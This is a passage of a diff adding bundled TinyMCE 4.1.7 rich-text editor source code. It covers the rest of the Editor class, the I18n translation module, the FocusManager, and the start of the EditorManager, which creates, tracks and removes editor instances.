+		 * @param {Object} args Optional content object, this gets passed around through the whole get process.
+		 * @return {String} Cleaned content string, normally HTML contents.
+		 * @example
+		 * // Get the HTML contents of the currently active editor
+		 * console.debug(tinymce.activeEditor.getContent());
+		 *
+		 * // Get the raw contents of the currently active editor
+		 * tinymce.activeEditor.getContent({format: 'raw'});
+		 *
+		 * // Get content of a specific editor:
+		 * tinymce.get('content id').getContent()
+		 */
+		getContent: function(args) {
+			var self = this, content, body = self.getBody();
+
+			// Setup args object
+			args = args || {};
+			args.format = args.format || 'html';
+			args.get = true;
+			args.getInner = true;
+
+			// Do preprocessing
+			if (!args.no_events) {
+				self.fire('BeforeGetContent', args);
+			}
+
+			// Get raw contents or by default the cleaned contents
+			if (args.format == 'raw') {
+				content = body.innerHTML;
+			} else if (args.format == 'text') {
+				content = body.innerText || body.textContent;
+			} else {
+				content = self.serializer.serialize(body, args);
+			}
+
+			// Trim whitespace in beginning/end of HTML
+			if (args.format != 'text') {
+				args.content = trim(content);
+			} else {
+				args.content = content;
+			}
+
+			// Do post processing
+			if (!args.no_events) {
+				self.fire('GetContent', args);
+			}
+
+			return args.content;
+		},
+
+		/**
+		 * Inserts content at caret position.
+		 *
+		 * @method insertContent
+		 * @param {String} content Content to insert.
+		 * @param {Object} args Optional args to pass to insert call.
+		 */
+		insertContent: function(content, args) {
+			if (args) {
+				content = extend({content: content}, args);
+			}
+
+			this.execCommand('mceInsertContent', false, content);
+		},
+
+		/**
+		 * Returns true/false if the editor is dirty or not. It will get dirty if the user has made modifications to the contents.
+		 *
+		 * @method isDirty
+		 * @return {Boolean} True/false if the editor is dirty or not. It will get dirty if the user has made modifications to the contents.
+		 * @example
+		 * if (tinymce.activeEditor.isDirty())
+		 *     alert("You must save your contents.");
+		 */
+		isDirty: function() {
+			return !this.isNotDirty;
+		},
+
+		/**
+		 * Returns the editors container element. The container element wrappes in
+		 * all the elements added to the page for the editor. Such as UI, iframe etc.
+		 *
+		 * @method getContainer
+		 * @return {Element} HTML DOM element for the editor container.
+		 */
+		getContainer: function() {
+			var self = this;
+
+			if (!self.container) {
+				self.container = DOM.get(self.editorContainer || self.id + '_parent');
+			}
+
+			return self.container;
+		},
+
+		/**
+		 * Returns the editors content area container element. The this element is the one who
+		 * holds the iframe or the editable element.
+		 *
+		 * @method getContentAreaContainer
+		 * @return {Element} HTML DOM element for the editor area container.
+		 */
+		getContentAreaContainer: function() {
+			return this.contentAreaContainer;
+		},
+
+		/**
+		 * Returns the target element/textarea that got replaced with a TinyMCE editor instance.
+		 *
+		 * @method getElement
+		 * @return {Element} HTML DOM element for the replaced element.
+		 */
+		getElement: function() {
+			if (!this.targetElm) {
+				this.targetElm = DOM.get(this.id);
+			}
+
+			return this.targetElm;
+		},
+
+		/**
+		 * Returns the iframes window object.
+		 *
+		 * @method getWin
+		 * @return {Window} Iframe DOM window object.
+		 */
+		getWin: function() {
+			var self = this, elm;
+
+			if (!self.contentWindow) {
+				elm = self.iframeElement;
+
+				if (elm) {
+					self.contentWindow = elm.contentWindow;
+				}
+			}
+
+			return self.contentWindow;
+		},
+
+		/**
+		 * Returns the iframes document object.
+		 *
+		 * @method getDoc
+		 * @return {Document} Iframe DOM document object.
+		 */
+		getDoc: function() {
+			var self = this, win;
+
+			if (!self.contentDocument) {
+				win = self.getWin();
+
+				if (win) {
+					self.contentDocument = win.document;
+				}
+			}
+
+			return self.contentDocument;
+		},
+
+		/**
+		 * Returns the iframes body element.
+		 *
+		 * @method getBody
+		 * @return {Element} Iframe body element.
+		 */
+		getBody: function() {
+			return this.bodyElement || this.getDoc().body;
+		},
+
+		/**
+		 * URL converter function this gets executed each time a user adds an img, a or
+		 * any other element that has a URL in it. This will be called both by the DOM and HTML
+		 * manipulation functions.
+		 *
+		 * @method convertURL
+		 * @param {string} url URL to convert.
+		 * @param {string} name Attribute name src, href etc.
+		 * @param {string/HTMLElement} elm Tag name or HTML DOM element depending on HTML or DOM insert.
+		 * @return {string} Converted URL string.
+		 */
+		convertURL: function(url, name, elm) {
+			var self = this, settings = self.settings;
+
+			// Use callback instead
+			if (settings.urlconverter_callback) {
+				return self.execCallback('urlconverter_callback', url, elm, true, name);
+			}
+
+			// Don't convert link href since thats the CSS files that gets loaded into the editor also skip local file URLs
+			if (!settings.convert_urls || (elm && elm.nodeName == 'LINK') || url.indexOf('file:') === 0 || url.length === 0) {
+				return url;
+			}
+
+			// Convert to relative
+			if (settings.relative_urls) {
+				return self.documentBaseURI.toRelative(url);
+			}
+
+			// Convert to absolute
+			url = self.documentBaseURI.toAbsolute(url, settings.remove_script_host);
+
+			return url;
+		},
+
+		/**
+		 * Adds visual aid for tables, anchors etc so they can be more easily edited inside the editor.
+		 *
+		 * @method addVisual
+		 * @param {Element} elm Optional root element to loop though to find tables etc that needs the visual aid.
+		 */
+		addVisual: function(elm) {
+			var self = this, settings = self.settings, dom = self.dom, cls;
+
+			elm = elm || self.getBody();
+
+			if (self.hasVisual === undefined) {
+				self.hasVisual = settings.visual;
+			}
+
+			each(dom.select('table,a', elm), function(elm) {
+				var value;
+
+				switch (elm.nodeName) {
+					case 'TABLE':
+						cls = settings.visual_table_class || 'mce-item-table';
+						value = dom.getAttrib(elm, 'border');
+
+						if ((!value || value == '0') && self.hasVisual) {
+							dom.addClass(elm, cls);
+						} else {
+							dom.removeClass(elm, cls);
+						}
+
+						return;
+
+					case 'A':
+						if (!dom.getAttrib(elm, 'href', false)) {
+							value = dom.getAttrib(elm, 'name') || elm.id;
+							cls = settings.visual_anchor_class || 'mce-item-anchor';
+
+							if (value && self.hasVisual) {
+								dom.addClass(elm, cls);
+							} else {
+								dom.removeClass(elm, cls);
+							}
+						}
+
+						return;
+				}
+			});
+
+			self.fire('VisualAid', {element: elm, hasVisual: self.hasVisual});
+		},
+
+		/**
+		 * Removes the editor from the dom and tinymce collection.
+		 *
+		 * @method remove
+		 */
+		remove: function() {
+			var self = this;
+
+			if (!self.removed) {
+				self.save();
+				self.removed = 1;
+				self.unbindAllNativeEvents();
+
+				// Remove any hidden input
+				if (self.hasHiddenInput) {
+					DOM.remove(self.getElement().nextSibling);
+				}
+
+				if (!self.inline) {
+					// IE 9 has a bug where the selection stops working if you place the
+					// caret inside the editor then remove the iframe
+					if (ie && ie < 10) {
+						self.getDoc().execCommand('SelectAll', false, null);
+					}
+
+					DOM.setStyle(self.id, 'display', self.orgDisplay);
+					self.getBody().onload = null; // Prevent #6816
+				}
+
+				self.fire('remove');
+
+				self.editorManager.remove(self);
+				DOM.remove(self.getContainer());
+				self.destroy();
+			}
+		},
+
+		/**
+		 * Destroys the editor instance by removing all events, element references or other resources
+		 * that could leak memory. This method will be called automatically when the page is unloaded
+		 * but you can also call it directly if you know what you are doing.
+		 *
+		 * @method destroy
+		 * @param {Boolean} automatic Optional state if the destroy is an automatic destroy or user called one.
+		 */
+		destroy: function(automatic) {
+			var self = this, form;
+
+			// One time is enough
+			if (self.destroyed) {
+				return;
+			}
+
+			// If user manually calls destroy and not remove
+			// Users seems to have logic that calls destroy instead of remove
+			if (!automatic && !self.removed) {
+				self.remove();
+				return;
+			}
+
+			if (!automatic) {
+				self.editorManager.off('beforeunload', self._beforeUnload);
+
+				// Manual destroy
+				if (self.theme && self.theme.destroy) {
+					self.theme.destroy();
+				}
+
+				// Destroy controls, selection and dom
+				self.selection.destroy();
+				self.dom.destroy();
+			}
+
+			form = self.formElement;
+			if (form) {
+				if (form._mceOldSubmit) {
+					form.submit = form._mceOldSubmit;
+					form._mceOldSubmit = null;
+				}
+
+				DOM.unbind(form, 'submit reset', self.formEventDelegate);
+			}
+
+			self.contentAreaContainer = self.formElement = self.container = self.editorContainer = null;
+			self.bodyElement = self.contentDocument = self.contentWindow = null;
+			self.iframeElement = self.targetElm = null;
+
+			if (self.selection) {
+				self.selection = self.selection.win = self.selection.dom = self.selection.dom.doc = null;
+			}
+
+			self.destroyed = 1;
+		},
+
+		// Internal functions
+
+		_refreshContentEditable: function() {
+			var self = this, body, parent;
+
+			// Check if the editor was hidden and the re-initalize contentEditable mode by removing and adding the body again
+			if (self._isHidden()) {
+				body = self.getBody();
+				parent = body.parentNode;
+
+				parent.removeChild(body);
+				parent.appendChild(body);
+
+				body.focus();
+			}
+		},
+
+		_isHidden: function() {
+			var sel;
+
+			if (!isGecko) {
+				return 0;
+			}
+
+			// Weird, wheres that cursor selection?
+			sel = this.selection.getSel();
+			return (!sel || !sel.rangeCount || sel.rangeCount === 0);
+		}
+	};
+
+	extend(Editor.prototype, EditorObservable);
+
+	return Editor;
+});
+
+// Included from: js/tinymce/classes/util/I18n.js
+
+/**
+ * I18n.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * I18n class that handles translation of TinyMCE UI.
+ * Uses po style with csharp style parameters.
+ *
+ * @class tinymce.util.I18n
+ */
+define("tinymce/util/I18n", [], function() {
+	"use strict";
+
+	var data = {};
+
+	return {
+		/**
+		 * Property gets set to true if a RTL language pack was loaded.
+		 *
+		 * @property rtl
+		 * @type Boolean
+		 */
+		rtl: false,
+
+		/**
+		 * Adds translations for a specific language code.
+		 *
+		 * @method add
+		 * @param {String} code Language code like sv_SE.
+		 * @param {Array} items Name/value array with English en_US to sv_SE.
+		 */
+		add: function(code, items) {
+			for (var name in items) {
+				data[name] = items[name];
+			}
+
+			this.rtl = this.rtl || data._dir === 'rtl';
+		},
+
+		/**
+		 * Translates the specified text.
+		 *
+		 * It has a few formats:
+		 * I18n.translate("Text");
+		 * I18n.translate(["Text {0}/{1}", 0, 1]);
+		 * I18n.translate({raw: "Raw string"});
+		 *
+		 * @method translate
+		 * @param {String/Object/Array} text Text to translate.
+		 * @return {String} String that got translated.
+		 */
+		translate: function(text) {
+			if (typeof(text) == "undefined") {
+				return text;
+			}
+
+			if (typeof(text) != "string" && text.raw) {
+				return text.raw;
+			}
+
+			if (text.push) {
+				var values = text.slice(1);
+
+				text = (data[text[0]] || text[0]).replace(/\{([^\}]+)\}/g, function(match1, match2) {
+					return values[match2];
+				});
+			}
+
+			return data[text] || text;
+		},
+
+		data: data
+	};
+});
+
+// Included from: js/tinymce/classes/FocusManager.js
+
+/**
+ * FocusManager.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class manages the focus/blur state of the editor. This class is needed since some
+ * browsers fire false focus/blur states when the selection is moved to a UI dialog or similar.
+ *
+ * This class will fire two events focus and blur on the editor instances that got affected.
+ * It will also handle the restore of selection when the focus is lost and returned.
+ *
+ * @class tinymce.FocusManager
+ */
+define("tinymce/FocusManager", [
+	"tinymce/dom/DOMUtils",
+	"tinymce/Env"
+], function(DOMUtils, Env) {
+	var selectionChangeHandler, documentFocusInHandler, documentMouseUpHandler, DOM = DOMUtils.DOM;
+
+	/**
+	 * Constructs a new focus manager instance.
+	 *
+	 * @constructor FocusManager
+	 * @param {tinymce.EditorManager} editorManager Editor manager instance to handle focus for.
+	 */
+	function FocusManager(editorManager) {
+		function getActiveElement() {
+			try {
+				return document.activeElement;
+			} catch (ex) {
+				// IE sometimes fails to get the activeElement when resizing table
+				// TODO: Investigate this
+				return document.body;
+			}
+		}
+
+		// We can't store a real range on IE 11 since it gets mutated so we need to use a bookmark object
+		// TODO: Move this to a separate range utils class since it's it's logic is present in Selection as well.
+		function createBookmark(dom, rng) {
+			if (rng && rng.startContainer) {
+				// Verify that the range is within the root of the editor
+				if (!dom.isChildOf(rng.startContainer, dom.getRoot()) || !dom.isChildOf(rng.endContainer, dom.getRoot())) {
+					return;
+				}
+
+				return {
+					startContainer: rng.startContainer,
+					startOffset: rng.startOffset,
+					endContainer: rng.endContainer,
+					endOffset: rng.endOffset
+				};
+			}
+
+			return rng;
+		}
+
+		function bookmarkToRng(editor, bookmark) {
+			var rng;
+
+			if (bookmark.startContainer) {
+				rng = editor.getDoc().createRange();
+				rng.setStart(bookmark.startContainer, bookmark.startOffset);
+				rng.setEnd(bookmark.endContainer, bookmark.endOffset);
+			} else {
+				rng = bookmark;
+			}
+
+			return rng;
+		}
+
+		function isUIElement(elm) {
+			return !!DOM.getParent(elm, FocusManager.isEditorUIElement);
+		}
+
+		function registerEvents(e) {
+			var editor = e.editor;
+
+			editor.on('init', function() {
+				// Gecko/WebKit has ghost selections in iframes and IE only has one selection per browser tab
+				if (editor.inline || Env.ie) {
+					// Use the onbeforedeactivate event when available since it works better see #7023
+					if ("onbeforedeactivate" in document && Env.ie < 9) {
+						editor.dom.bind(editor.getBody(), 'beforedeactivate', function(e) {
+							if (e.target != editor.getBody()) {
+								return;
+							}
+
+							try {
+								editor.lastRng = editor.selection.getRng();
+							} catch (ex) {
+								// IE throws "Unexcpected call to method or property access" some times so lets ignore it
+							}
+						});
+					} else {
+						// On other browsers take snapshot on nodechange in inline mode since they have Ghost selections for iframes
+						editor.on('nodechange mouseup keyup', function(e) {
+							var node = getActiveElement();
+
+							// Only act on manual nodechanges
+							if (e.type == 'nodechange' && e.selectionChange) {
+								return;
+							}
+
+							// IE 11 reports active element as iframe not body of iframe
+							if (node && node.id == editor.id + '_ifr') {
+								node = editor.getBody();
+							}
+
+							if (editor.dom.isChildOf(node, editor.getBody())) {
+								editor.lastRng = editor.selection.getRng();
+							}
+						});
+					}
+
+					// Handles the issue with WebKit not retaining selection within inline document
+					// If the user releases the mouse out side the body since a mouse up event wont occur on the body
+					if (Env.webkit && !selectionChangeHandler) {
+						selectionChangeHandler = function() {
+							var activeEditor = editorManager.activeEditor;
+
+							if (activeEditor && activeEditor.selection) {
+								var rng = activeEditor.selection.getRng();
+
+								// Store when it's non collapsed
+								if (rng && !rng.collapsed) {
+									editor.lastRng = rng;
+								}
+							}
+						};
+
+						DOM.bind(document, 'selectionchange', selectionChangeHandler);
+					}
+				}
+			});
+
+			editor.on('setcontent', function() {
+				editor.lastRng = null;
+			});
+
+			// Remove last selection bookmark on mousedown see #6305
+			editor.on('mousedown', function() {
+				editor.selection.lastFocusBookmark = null;
+			});
+
+			editor.on('focusin', function() {
+				var focusedEditor = editorManager.focusedEditor;
+
+				if (editor.selection.lastFocusBookmark) {
+					editor.selection.setRng(bookmarkToRng(editor, editor.selection.lastFocusBookmark));
+					editor.selection.lastFocusBookmark = null;
+				}
+
+				if (focusedEditor != editor) {
+					if (focusedEditor) {
+						focusedEditor.fire('blur', {focusedEditor: editor});
+					}
+
+					editorManager.setActive(editor);
+					editorManager.focusedEditor = editor;
+					editor.fire('focus', {blurredEditor: focusedEditor});
+					editor.focus(true);
+				}
+
+				editor.lastRng = null;
+			});
+
+			editor.on('focusout', function() {
+				window.setTimeout(function() {
+					var focusedEditor = editorManager.focusedEditor;
+
+					// Still the same editor the the blur was outside any editor UI
+					if (!isUIElement(getActiveElement()) && focusedEditor == editor) {
+						editor.fire('blur', {focusedEditor: null});
+						editorManager.focusedEditor = null;
+
+						// Make sure selection is valid could be invalid if the editor is blured and removed before the timeout occurs
+						if (editor.selection) {
+							editor.selection.lastFocusBookmark = null;
+						}
+					}
+				}, 0);
+			});
+
+			// Check if focus is moved to an element outside the active editor by checking if the target node
+			// isn't within the body of the activeEditor nor a UI element such as a dialog child control
+			if (!documentFocusInHandler) {
+				documentFocusInHandler = function(e) {
+					var activeEditor = editorManager.activeEditor;
+
+					if (activeEditor && e.target.ownerDocument == document) {
+						// Check to make sure we have a valid selection don't update the bookmark if it's
+						// a focusin to the body of the editor see #7025
+						if (activeEditor.selection && e.target != activeEditor.getBody()) {
+							activeEditor.selection.lastFocusBookmark = createBookmark(activeEditor.dom, activeEditor.lastRng);
+						}
+
+						// Fire a blur event if the element isn't a UI element
+						if (e.target != document.body && !isUIElement(e.target) && editorManager.focusedEditor == activeEditor) {
+							activeEditor.fire('blur', {focusedEditor: null});
+							editorManager.focusedEditor = null;
+						}
+					}
+				};
+
+				DOM.bind(document, 'focusin', documentFocusInHandler);
+			}
+
+			// Handle edge case when user starts the selection inside the editor and releases
+			// the mouse outside the editor producing a new selection. This weird workaround is needed since
+			// Gecko doesn't have the "selectionchange" event we need to do this. Fixes: #6843
+			if (editor.inline && !documentMouseUpHandler) {
+				documentMouseUpHandler = function(e) {
+					var activeEditor = editorManager.activeEditor;
+
+					if (activeEditor.inline && !activeEditor.dom.isChildOf(e.target, activeEditor.getBody())) {
+						var rng = activeEditor.selection.getRng();
+
+						if (!rng.collapsed) {
+							activeEditor.lastRng = rng;
+						}
+					}
+				};
+
+				DOM.bind(document, 'mouseup', documentMouseUpHandler);
+			}
+		}
+
+		function unregisterDocumentEvents(e) {
+			if (editorManager.focusedEditor == e.editor) {
+				editorManager.focusedEditor = null;
+			}
+
+			if (!editorManager.activeEditor) {
+				DOM.unbind(document, 'selectionchange', selectionChangeHandler);
+				DOM.unbind(document, 'focusin', documentFocusInHandler);
+				DOM.unbind(document, 'mouseup', documentMouseUpHandler);
+				selectionChangeHandler = documentFocusInHandler = documentMouseUpHandler = null;
+			}
+		}
+
+		editorManager.on('AddEditor', registerEvents);
+		editorManager.on('RemoveEditor', unregisterDocumentEvents);
+	}
+
+	/**
+	 * Returns true if the specified element is part of the UI for example an button or text input.
+	 *
+	 * @method isEditorUIElement
+	 * @param  {Element} elm Element to check if it's part of the UI or not.
+	 * @return {Boolean} True/false state if the element is part of the UI or not.
+	 */
+	FocusManager.isEditorUIElement = function(elm) {
+		// Needs to be converted to string since svg can have focus: #6776
+		return elm.className.toString().indexOf('mce-') !== -1;
+	};
+
+	return FocusManager;
+});
+
+// Included from: js/tinymce/classes/EditorManager.js
+
+/**
+ * EditorManager.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class used as a factory for manager for tinymce.Editor instances.
+ *
+ * @example
+ * tinymce.EditorManager.init({});
+ *
+ * @class tinymce.EditorManager
+ * @mixes tinymce.util.Observable
+ * @static
+ */
+define("tinymce/EditorManager", [
+	"tinymce/Editor",
+	"tinymce/dom/DomQuery",
+	"tinymce/dom/DOMUtils",
+	"tinymce/util/URI",
+	"tinymce/Env",
+	"tinymce/util/Tools",
+	"tinymce/util/Observable",
+	"tinymce/util/I18n",
+	"tinymce/FocusManager"
+], function(Editor, DomQuery, DOMUtils, URI, Env, Tools, Observable, I18n, FocusManager) {
+	var DOM = DOMUtils.DOM;
+	var explode = Tools.explode, each = Tools.each, extend = Tools.extend;
+	var instanceCounter = 0, beforeUnloadDelegate, EditorManager;
+
+	function removeEditorFromList(editor) {
+		var editors = EditorManager.editors, removedFromList;
+
+		delete editors[editor.id];
+
+		for (var i = 0; i < editors.length; i++) {
+			if (editors[i] == editor) {
+				editors.splice(i, 1);
+				removedFromList = true;
+				break;
+			}
+		}
+
+		// Select another editor since the active one was removed
+		if (EditorManager.activeEditor == editor) {
+			EditorManager.activeEditor = editors[0];
+		}
+
+		// Clear focusedEditor if necessary, so that we don't try to blur the destroyed editor
+		if (EditorManager.focusedEditor == editor) {
+			EditorManager.focusedEditor = null;
+		}
+
+		return removedFromList;
+	}
+
+	function purgeDestroyedEditor(editor) {
+		// User has manually destroyed the editor lets clean up the mess
+		if (editor && !(editor.getContainer() || editor.getBody()).parentNode) {
+			removeEditorFromList(editor);
+			editor.unbindAllNativeEvents();
+			editor.destroy(true);
+			editor = null;
+		}
+
+		return editor;
+	}
+
+	EditorManager = {
+		/**
+		 * Dom query instance.
+		 *
+		 * @property $
+		 * @type tinymce.dom.DomQuery
+		 */
+		$: DomQuery,
+
+		/**
+		 * Major version of TinyMCE build.
+		 *
+		 * @property majorVersion
+		 * @type String
+		 */
+		majorVersion: '4',
+
+		/**
+		 * Minor version of TinyMCE build.
+		 *
+		 * @property minorVersion
+		 * @type String
+		 */
+		minorVersion: '1.7',
+
+		/**
+		 * Release date of TinyMCE build.
+		 *
+		 * @property releaseDate
+		 * @type String
+		 */
+		releaseDate: '2014-11-27',
+
+		/**
+		 * Collection of editor instances.
+		 *
+		 * @property editors
+		 * @type Object
+		 * @example
+		 * for (edId in tinymce.editors)
+		 *     tinymce.editors[edId].save();
+		 */
+		editors: [],
+
+		/**
+		 * Collection of language pack data.
+		 *
+		 * @property i18n
+		 * @type Object
+		 */
+		i18n: I18n,
+
+		/**
+		 * Currently active editor instance.
+		 *
+		 * @property activeEditor
+		 * @type tinymce.Editor
+		 * @example
+		 * tinyMCE.activeEditor.selection.getContent();
+		 * tinymce.EditorManager.activeEditor.selection.getContent();
+		 */
+		activeEditor: null,
+
+		setup: function() {
+			var self = this, baseURL, documentBaseURL, suffix = "", preInit, src;
+
+			// Get base URL for the current document
+			documentBaseURL = document.location.href;
+
+			// Check if the URL is a document based format like: http://site/dir/file and file:///
+			// leave other formats like applewebdata://... intact
+			if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {
+				documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
+
+				if (!/[\/\\]$/.test(documentBaseURL)) {
+					documentBaseURL += '/';
+				}
+			}
+
+			// If tinymce is defined and has a base use that or use the old tinyMCEPreInit
+			preInit = window.tinymce || window.tinyMCEPreInit;
+			if (preInit) {
+				baseURL = preInit.base || preInit.baseURL;
+				suffix = preInit.suffix;
+			} else {
+				// Get base where the tinymce script is located
+				var scripts = document.getElementsByTagName('script');
+				for (var i = 0; i < scripts.length; i++) {
+					src = scripts[i].src;
+
+					// Script types supported:
+					// tinymce.js tinymce.min.js tinymce.dev.js
+					// tinymce.jquery.js tinymce.jquery.min.js tinymce.jquery.dev.js
+					// tinymce.full.js tinymce.full.min.js tinymce.full.dev.js
+					if (/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(src)) {
+						if (src.indexOf('.min') != -1) {
+							suffix = '.min';
+						}
+
+						baseURL = src.substring(0, src.lastIndexOf('/'));
+						break;
+					}
+				}
+
+				// We didn't find any baseURL by looking at the script elements
+				// Try to use the document.currentScript as a fallback
+				if (!baseURL && document.currentScript) {
+					src = document.currentScript.src;
+
+					if (src.indexOf('.min') != -1) {
+						suffix = '.min';
+					}
+
+					baseURL = src.substring(0, src.lastIndexOf('/'));
+				}
+			}
+
+			/**
+			 * Base URL where the root directory if TinyMCE is located.
+			 *
+			 * @property baseURL
+			 * @type String
+			 */
+			self.baseURL = new URI(documentBaseURL).toAbsolute(baseURL);
+
+			/**
+			 * Document base URL where the current document is located.
+			 *
+			 * @property documentBaseURL
+			 * @type String
+			 */
+			self.documentBaseURL = documentBaseURL;
+
+			/**
+			 * Absolute baseURI for the installation path of TinyMCE.
+			 *
+			 * @property baseURI
+			 * @type tinymce.util.URI
+			 */
+			self.baseURI = new URI(self.baseURL);
+
+			/**
+			 * Current suffix to add to each plugin/theme that gets loaded for example ".min".
+			 *
+			 * @property suffix
+			 * @type String
+			 */
+			self.suffix = suffix;
+
+			self.focusManager = new FocusManager(self);
+		},
+
+		/**
+		 * Initializes a set of editors. This method will create editors based on various settings.
+		 *
+		 * @method init
+		 * @param {Object} settings Settings object to be passed to each editor instance.
+		 * @example
+		 * // Initializes a editor using the longer method
+		 * tinymce.EditorManager.init({
+		 *    some_settings : 'some value'
+		 * });
+		 *
+		 * // Initializes a editor instance using the shorter version
+		 * tinyMCE.init({
+		 *    some_settings : 'some value'
+		 * });
+		 */
+		init: function(settings) {
+			var self = this, editors = [];
+
+			function createId(elm) {
+				var id = elm.id;
+
+				// Use element id, or unique name or generate a unique id
+				if (!id) {
+					id = elm.name;
+
+					if (id && !DOM.get(id)) {
+						id = elm.name;
+					} else {
+						// Generate unique name
+						id = DOM.uniqueId();
+					}
+
+					elm.setAttribute('id', id);
+				}
+
+				return id;
+			}
+
+			function createEditor(id, settings, targetElm) {
+				if (!purgeDestroyedEditor(self.get(id))) {
+					var editor = new Editor(id, settings, self);
+
+					editor.targetElm = editor.targetElm || targetElm;
+					editors.push(editor);
+					editor.render();
+				}
+			}
+
+			function execCallback(name) {
+				var callback = settings[name];
+
+				if (!callback) {
+					return;
+				}
+
+				return callback.apply(self, Array.prototype.slice.call(arguments, 2));
+			}
+
+			function hasClass(elm, className) {
+				return className.constructor === RegExp ? className.test(elm.className) : DOM.hasClass(elm, className);
+			}
+
+			function readyHandler() {
+				var l, co;
+
+				DOM.unbind(window, 'ready', readyHandler);
+
+				execCallback('onpageload');
+
+				if (settings.types) {
+					// Process type specific selector
+					each(settings.types, function(type) {
+						each(DOM.select(type.selector), function(elm) {
+							createEditor(createId(elm), extend({}, settings, type), elm);
+						});
+					});
+
+					return;
+				} else if (settings.selector) {
+					// Process global selector
+					each(DOM.select(settings.selector), function(elm) {
+						createEditor(createId(elm), settings, elm);
+					});
+
+					return;
+				} else if (settings.target) {
+					createEditor(createId(settings.target), settings);
+				}
+
+				// Fallback to old setting
+				switch (settings.mode) {
+					case "exact":
+						l = settings.elements || '';
+
+						if (l.length > 0) {
+							each(explode(l), function(id) {
+								var elm;
+
+								if ((elm = DOM.get(id))) {
+									createEditor(id, settings, elm);
+								} else {
+									each(document.forms, function(f) {
+										each(f.elements, function(e) {
+											if (e.name === id) {
+												id = 'mce_editor_' + instanceCounter++;
+												DOM.setAttrib(e, 'id', id);
+												createEditor(id, settings, e);
+											}
+										});
+									});
+								}
+							});
+						}
+						break;
+
+					case "textareas":
+					case "specific_textareas":
+						each(DOM.select('textarea'), function(elm) {
+							if (settings.editor_deselector && hasClass(elm, settings.editor_deselector)) {
+								return;
+							}
+
+							if (!settings.editor_selector || hasClass(elm, settings.editor_selector)) {
+								createEditor(createId(elm), settings, elm);
+							}
+						});
+						break;
+				}
+
+				// Call onInit when all editors are initialized
+				if (settings.oninit) {
+					l = co = 0;
+
+					each(editors, function(ed) {
+						co++;
+
+						if (!ed.initialized) {
+							// Wait for it
+							ed.on('init', function() {
+								l++;
+
+								// All done
+								if (l == co) {
+									execCallback('oninit');
+								}
+							});
+						} else {
+							l++;
+						}
+
+						// All done
+						if (l == co) {
+							execCallback('oninit');
+						}
+					});
+				}
+			}
+
+			self.settings = settings;
+
+			DOM.bind(window, 'ready', readyHandler);
+		},
+
+		/**
+		 * Returns a editor instance by id.
+		 *
+		 * @method get
+		 * @param {String/Number} id Editor instance id or index to return.
+		 * @return {tinymce.Editor} Editor instance to return.
+		 * @example
+		 * // Adds an onclick event to an editor by id (shorter version)
+		 * tinymce.get('mytextbox').on('click', function(e) {
+		 *    ed.windowManager.alert('Hello world!');
+		 * });
+		 *
+		 * // Adds an onclick event to an editor by id (longer version)
+		 * tinymce.EditorManager.get('mytextbox').on('click', function(e) {
+		 *    ed.windowManager.alert('Hello world!');
+		 * });
+		 */
+		get: function(id) {
+			if (!arguments.length) {
+				return this.editors;
+			}
+
+			return id in this.editors ? this.editors[id] : null;
+		},
+
+		/**
+		 * Adds an editor instance to the editor collection. This will also set it as the active editor.
+		 *
+		 * @method add
+		 * @param {tinymce.Editor} editor Editor instance to add to the collection.
+		 * @return {tinymce.Editor} The same instance that got passed in.
+		 */
+		add: function(editor) {
+			var self = this, editors = self.editors;
+
+			// Add named and index editor instance
+			editors[editor.id] = editor;
+			editors.push(editor);
+
+			// Doesn't call setActive method since we don't want
+			// to fire a bunch of activate/deactivate calls while initializing
+			self.activeEditor = editor;
+
+			/**
+			 * Fires when an editor is added to the EditorManager collection.
+			 *
+			 * @event AddEditor
+			 * @param {Object} e Event arguments.
+			 */
+			self.fire('AddEditor', {editor: editor});
+
+			if (!beforeUnloadDelegate) {
+				beforeUnloadDelegate = function() {
+					self.fire('BeforeUnload');
+				};
+
+				DOM.bind(window, 'beforeunload', beforeUnloadDelegate);
+			}
+
+			return editor;
+		},
+
+		/**
+		 * Creates an editor instance and adds it to the EditorManager collection.
+		 *
+		 * @method createEditor
+		 * @param {String} id Instance id to use for editor.
+		 * @param {Object} settings Editor instance settings.
+		 * @return {tinymce.Editor} Editor instance that got created.
+		 */
+		createEditor: function(id, settings) {
+			return this.add(new Editor(id, settings, this));
+		},
+
+		/**
+		 * Removes a editor or editors form page.
+		 *
+		 * @example
+		 * // Remove all editors bound to divs
+		 * tinymce.remove('div');
+		 *
+		 * // Remove all editors bound to textareas
+		 * tinymce.remove('textarea');
+		 *
+		 * // Remove all editors
+		 * tinymce.remove();
+		 *
+		 * // Remove specific instance by id
+		 * tinymce.remove('#id');
+		 *
+		 * @method remove
+		 * @param {tinymce.Editor/String/Object} [selector] CSS selector or editor instance to remove.
+		 * @return {tinymce.Editor} The editor that got passed in will be return if it was found otherwise null.
+		 */
+		remove: function(selector) {
+			var self = this, i, editors = self.editors, editor;
+
+			// Remove all editors
+			if (!selector) {
+				for (i = editors.length - 1; i >= 0; i--) {
+					self.remove(editors[i]);
+				}
+
+				return;
+			}
+
+			// Remove editors by selector
+			if (typeof(selector) == "string") {
+				selector = selector.selector || selector;
+
+				each(DOM.select(selector), function(elm) {
+					editor = editors[elm.id];
+
+					if (editor) {
+						self.remove(editor);
+					}
+				});
+
+				return;
+			}
+
+			// Remove specific editor
+			editor = selector;
+
+			// Not in the collection
+			if (!editors[editor.id]) {
+				return null;
+			}
+
+			/**
+			 * Fires when an editor is removed from EditorManager collection.
+			 *
+			 * @event RemoveEditor
+			 * @param {Object} e Event arguments.
+			 */
+			if (removeEditorFromList(editor)) {
+				self.fire('RemoveEditor', {editor: editor});
+			}
+
+			if (!editors.length) {
+				DOM.unbind(window, 'beforeunload', beforeUnloadDelegate);
+			}
+
+			editor.remove();
+
+			return editor;
+		},
+
+		/**
+		 * Executes a specific command on the currently active editor.
+		 *
